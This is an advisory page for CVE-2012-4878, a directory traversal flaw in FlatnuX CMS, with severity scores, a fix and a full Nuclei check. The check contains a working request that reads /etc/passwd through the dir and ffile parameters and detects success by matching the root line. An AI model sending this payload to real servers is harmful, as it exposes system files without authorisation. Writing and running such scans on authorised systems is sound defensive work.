CVE-2012-4878· flatnux / flatnux· CWE-22
FlatnuX CMS - Directory Traversal
mediumseverity
5CVSS score
8.8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
Impact
An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
Fix
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
How to confirm it
Send: GET {{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2012-4878 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-4878
info:
name: FlatnuX CMS - Directory Traversal
author: daffainfo
severity: medium
description: A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
impact: |
An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
reference:
- https://www.exploit-db.com/exploits/37034
- https://nvd.nist.gov/vuln/detail/CVE-2012-4878
- http://www.vulnerability-lab.com/get_content.php?id=487
- http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74568
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2012-4878
cwe-id: CWE-22
epss-score: 0.08761
epss-percentile: 0.95205
cpe: cpe:2.3:a:flatnux:flatnux:2011-08-09-2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: flatnux
product: flatnux
tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/37034
- https://nvd.nist.gov/vuln/detail/CVE-2012-4878
- http://www.vulnerability-lab.com/get_content.php?id=487
- http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/74568
Use this check only on systems you are authorised to test. Where the data comes from